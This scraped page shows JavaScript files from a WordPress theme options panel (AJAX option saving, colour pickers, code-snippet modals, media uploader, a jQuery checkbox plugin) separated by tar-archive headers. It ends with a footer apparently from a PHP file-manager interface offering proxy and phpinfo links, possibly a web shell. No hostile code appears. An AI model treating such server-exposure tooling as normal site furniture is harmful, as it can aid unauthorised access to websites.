$.each(editors, function(i, editor) { if (editor.save) { // Make sure we store changes into original textarea editor.save(); } }) } var options_fromform = $('#main_options_form').formSerialize(), add_nonce = '&_ajax_nonce='+ePanelSettings.epanel_nonce; options_fromform += add_nonce; $.ajax({ type: "POST", url: ajaxurl, data: options_fromform, beforeSend: function ( xhr ){ if ( message ) { $save_message.removeAttr('class').fadeIn('fast'); } }, success: function(response){ if ( message ) { $save_message.addClass('success-animation'); setTimeout(function(){ $save_message.fadeOut(); },500); } if ( 'function' === typeof callback ) { callback(); } } }); } function epanel_clear_static_css( callback, message ) { var data = { action: 'et_core_page_resource_clear', et_owner: 'all', et_post_id: 'all', clear_page_resources_nonce: ePanelSettings.et_core_nonces.clear_page_resources_nonce, }; $.ajax( { type: "POST", url: ajaxurl, data: data, beforeSend: function ( xhr ) { if ( message ) { $save_message.removeAttr( 'class' ).fadeIn( 'fast' ); } }, success: function ( response ) { if ( message ) { $save_message.addClass( 'success-animation' ); setTimeout( function () { $save_message.fadeOut(); }, 500 ); } if ( 'function' === typeof callback ) { callback(); } } } ); } function et_pb_close_modal( $overlay, no_overlay_remove ) { var $modal_container = $overlay; // add class to apply the closing animation to modal $modal_container.addClass( 'et_pb_modal_closing' ); //remove the modal with overlay when animation complete setTimeout( function() { if ( 'no_remove' !== no_overlay_remove ) { $modal_container.remove(); } }, 600 ); } if ( $palette_inputs.length ) { $palette_inputs.each( function() { var $this_input = $( this ), $palette_wrapper = $this_input.closest( '.et-box-content' ), $colorpalette_colorpickers = $palette_wrapper.find( '.input-colorpalette-colorpicker' ), colorpalette_colorpicker_index = 0, saved_palette = $this_input.val().split('|'); $colorpalette_colorpickers.each( function(){ var $colorpalette_colorpicker = $(this), colorpalette_colorpicker_color = saved_palette[ colorpalette_colorpicker_index ]; $colorpalette_colorpicker.val( colorpalette_colorpicker_color ).wpColorPicker({ hide : false, default : $(this).data( 'default-color' ), width: 313, palettes : false, change : function( event, ui ) { var $input = $(this); var data_index = $input.attr('data-index'); var $preview = $palette_wrapper.find('.colorpalette-item-' + data_index + ' .color'); var color = ui.color.toString(); $input.val( color ); $preview.css({ 'backgroundColor' : color }); saved_palette[ data_index - 1 ] = color; $this_input.val( saved_palette.join( '|' ) ); } }); $colorpalette_colorpicker.trigger( 'change' ); colorpalette_colorpicker_index++; } ); $palette_wrapper.on( 'click', '.colorpalette-item', function(e){ e.preventDefault(); var $colorpalette_item = $(this), data_index = $colorpalette_item.attr('data-index'); // Hide other colorpalette colorpicker $palette_wrapper.find( '.colorpalette-colorpicker' ).removeClass( 'active' ); // Display selected colorpalette colorpicker $palette_wrapper.find( '.colorpalette-colorpicker[data-index="' + data_index + '"]' ).addClass( 'active' ); }); }); } if ( typeof etCore !== 'undefined' && typeof etCore.portability !== 'undefined' ) { // Portability integration. etCore.portability.save = function( callback ) { epanel_save( callback, false ); } } function et_pb_center_modal( $modal ) { var modal_height = $modal.outerHeight(); var modal_height_adjustment = (0 - (modal_height / 2)) + 'px'; $modal.css({ top : '50%', bottom : 'auto', marginTop : modal_height_adjustment }); } /* eslint-disable prefer-arrow-callback, space-before-blocks */ $(window).on('et_epanel_code_snippets_open_add_modal', (event, context, codeMirrorId) => { // Used for the App and Modal container. $('body').first().append('<div id="et-code-snippets-container" class="snippets-modals-portal"></div>'); var preferences = { containerId: 'et-code-snippets-container', context, codeMirrorId, modalType: 'add', sidebarLabel: 'code_html' === context ? ePanelSettings.i18n['Code Snippet'] : '', }; var container = window.document; $(window).trigger('et_code_snippets_container_ready', [preferences, container]); }); /* eslint-enable */ /* eslint-disable prefer-arrow-callback, space-before-blocks */ $(window).on('et_epanel_code_snippets_open_save_modal', (event, context, codeMirrorId) => { // Used for the App and Modal container. $('body').first().append('<div id="et-code-snippets-container" class="snippets-modals-portal"></div>'); var editor = jQuery(`#${codeMirrorId}`).next('.CodeMirror')[0].CodeMirror; var content = editor.getValue(); if ('' === content) { return; } var preferences = { containerId: 'et-code-snippets-container', context, codeMirrorId, modalType: 'save', content: content, selectedContent: editor.getSelection() }; var container = window.document; $(window).trigger('et_code_snippets_container_ready', [preferences, container]); }); /* eslint-enable */ /* eslint-disable prefer-arrow-callback, space-before-blocks */ $(window).on('et_epanel_code_snippets_open_portability_modal', (event, context, codeMirrorId) => { // Used for the App and Modal container. $('body').first().append('<div id="et-code-snippets-container" class="snippets-modals-portal"></div>'); var editor = jQuery(`#${codeMirrorId}`).next('.CodeMirror')[0].CodeMirror; var preferences = { containerId: 'et-code-snippets-container', context, codeMirrorId, modalType: 'portability', content: editor.getValue() }; var container = window.document; $(window).trigger('et_code_snippets_container_ready', [preferences, container]); }); $(document).on('mouseover', '.et-code-snippets-btn.snippet-save', function() { var codeMirrorId = getCodeMirrorId(this); var editor = jQuery(`#${codeMirrorId}`).next('.CodeMirror')[0].CodeMirror; var content = editor.getValue(); if ('' === content) { $(this).addClass('et-code-snippets-btn--disabled'); } else { $(this).removeClass('et-code-snippets-btn--disabled'); } }); }); /* ]]> */ eye.js 0000644 00000001647 15222651262 0005677 0 ustar 00 /** * * Zoomimage * Author: Stefan Petre www.eyecon.ro * */ (function($){ var EYE = window.EYE = function() { var _registered = { init: [] }; return { init: function() { $.each(_registered.init, function(nr, fn){ fn.call(); }); }, extend: function(prop) { for (var i in prop) { if (prop[i] != undefined) { this[i] = prop[i]; } } }, register: function(fn, type) { if (!_registered[type]) { _registered[type] = []; } _registered[type].push(fn); } }; }(); $(EYE.init); })(jQuery); (function($){ var initLayout = function() { $('#colorpickerHolder').ColorPicker({flat: true}); $('.colorpopup').ColorPicker({ onSubmit: function(hsb, hex, rgb, el) { $(el).val(hex); $(el).ColorPickerHide(); }, onBeforeShow: function () { $(this).ColorPickerSetColor(this.value); } }) } EYE.register(initLayout, 'init'); })(jQuery); custom_uploader.js 0000644 00000001712 15222651262 0010313 0 ustar 00 jQuery(function() { var et_file_frame; jQuery('.et-upload-image-button').on('click', function(event) { var this_el = jQuery( this ), use_for = this_el.parents( '.et-epanel-box' ).find( '.et-box-title > h3' ).text(), button_text = this_el.data( 'button_text' ), window_title = epanel_uploader.media_window_title, fileInput = this_el.parent().prev('input.et-upload-field'); event.preventDefault(); et_file_frame = wp.media.frames.et_file_frame = wp.media({ title: window_title, library: { type: 'image' }, button: { text: button_text, }, multiple: false }); et_file_frame.on( 'select', function() { var attachment = et_file_frame.state().get( 'selection' ).first().toJSON(); fileInput.val( attachment.url ); }); et_file_frame.open(); return false; }); jQuery('.et-upload-image-reset').on('click', function() { jQuery(this).parent().prev( 'input.et-upload-field' ).val( '' ); }); }); layout.js 0000644 00000001572 15222651262 0006427 0 ustar 00 (function($){ var initLayout = function() { var hash = window.location.hash.replace('#', ''); var currentTab = $('ul.navigationTabs a') .on('click', showTab) .filter('a[rel=' + hash + ']'); if (0 === currentTab.length) { currentTab = $('ul.navigationTabs a').first(); } showTab.apply(currentTab.get(0)); $('#colorpickerHolder').ColorPicker({flat: true}); $('.colorpopup').ColorPicker({ onSubmit: function(hsb, hex, rgb, el) { $(el).val(hex); $(el).ColorPickerHide(); }, onBeforeShow: function () { $(this).ColorPickerSetColor(this.value); } }) }; var showTab = function(e) { var tabIndex = $('ul.navigationTabs a') .removeClass('active') .index(this); $(this) .addClass('active') .trigger('blur'); $('div.tab') .hide() .eq(tabIndex) .show(); }; EYE.register(initLayout, 'init'); })(jQuery) checkbox.js 0000644 00000005167 15222651262 0006704 0 ustar 00 /** * jQuery custom checkboxes * * Copyright (c) 2008 Khavilo Dmitry (http://widowmaker.kiev.ua/checkbox/) * Licensed under the MIT License: * http://www.opensource.org/licenses/mit-license.php * * @version 1.3.0 Beta 1 * @author Khavilo Dmitry * @mailto wm.morgun@gmail.com * * Modified to adapt the latest jQuery version (v3 above) included on WordPress 5.6: * - (2020-12-15) - jQuery hover method is deprecated. * - (2021-02-02) - jQuery :eq() selector is deprecated. * - (2021-02-03) - jQuery bind method is deprecated. * - (2021-02-04) - jQuery click event shorthand is deprecated. **/ (function($){var i=function(e){if(!e)var e=window.event;e.cancelBubble=true;if(e.stopPropagation)e.stopPropagation()};$.fn.checkbox=function(f){try{document.execCommand('BackgroundImageCache',false,true)}catch(e){}var g={cls:'jquery-checkbox',empty:clearpath};g=$.extend(g,f||{});var h=function(a){var b=a.checked;var c=a.disabled;var d=$(a);if(a.stateInterval)clearInterval(a.stateInterval);a.stateInterval=setInterval(function(){if(a.disabled!=c)d.trigger((c=!!a.disabled)?'disable':'enable');if(a.checked!=b)d.trigger((b=!!a.checked)?'check':'uncheck')},10);return d};return this.each(function(){var a=this;var b=h(a);if(a.wrapper)a.wrapper.remove();a.wrapper=$('<span class="'+g.cls+'"><span class="mark"><img src="'+g.empty+'" /></span></span>');a.wrapperInner=a.wrapper.children('span').eq(0);a.wrapper.on("mouseenter",function(e){a.wrapperInner.addClass(g.cls+'-hover');i(e)}).on("mouseleave",function(e){a.wrapperInner.removeClass(g.cls+'-hover');i(e)});b.css({position:'absolute',zIndex:-1,visibility:'hidden'}).after(a.wrapper);var c=false;if(b.attr('id')){c=$('label[for='+b.attr('id')+']');if(!c.length)c=false}if(!c){c=b.closest?b.closest('label'):b.parents('label').eq(0);if(!c.length)c=false}if(c){c.on("mouseenter",function(e){a.wrapper.trigger('mouseover',[e])}).on("mouseleave",function(e){a.wrapper.trigger('mouseout',[e])});c.on('click',function(e){b.trigger('click',[e]);i(e);return false})}a.wrapper.on('click',function(e){b.trigger('click',[e]);i(e);return false});b.on('click',function(e){i(e)});b.on('disable',function(){a.wrapperInner.addClass(g.cls+'-disabled')}).on('enable',function(){a.wrapperInner.removeClass(g.cls+'-disabled')});b.on('check',function(){a.wrapper.addClass(g.cls+'-checked')}).on('uncheck',function(){a.wrapper.removeClass(g.cls+'-checked')});$('img',a.wrapper).on('dragstart',function(){return false}).on('mousedown',function(){return false});if(window.getSelection)a.wrapper.css('MozUserSelect','none');if(a.checked)a.wrapper.addClass(g.cls+'-checked');if(a.disabled)a.wrapperInner.addClass(g.cls+'-disabled')})}})(jQuery);
| ver. 1.4 |
Github
|
.
| PHP 8.4.10 | Generation time: 0.13 |
proxy
|
phpinfo
|
Settings